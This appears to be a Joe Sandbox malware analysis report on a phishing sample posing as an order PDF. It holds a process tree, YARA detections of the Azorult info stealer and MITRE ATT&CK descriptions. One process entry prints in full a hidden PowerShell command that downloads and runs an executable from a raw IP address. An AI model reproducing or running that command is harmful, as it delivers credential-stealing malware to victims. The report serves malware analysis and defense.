Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\ft6o99.rar"
Imagebase:	0x4d0000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:27:56
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kufktcsf.fzd" "C:\Users\user\Downloads\ft6o99.rar"
Imagebase:	0x1e0000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:27:56
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:27:56
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:27:56
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:27:56
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
Imagebase:	0xef0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:27:58
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"
Imagebase:	0x400000
File size:	114'688 bytes
MD5 hash:	27864DD446F03F806B26031D97E3377B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000003.2574661834.0000000003134000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000003.2574493770.0000000003118000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000013.00000002.2574878413.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000003.2573675317.0000000003140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000003.2574244127.0000000003110000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2574531853.000000000399C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000013.00000000.2458000814.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Refrence-Order#63729.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cfe27c23-0bef-4f43-9cb2-79e0c297b5d2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241004022732Z-155.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
Refrence-Order#63729.pdf

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre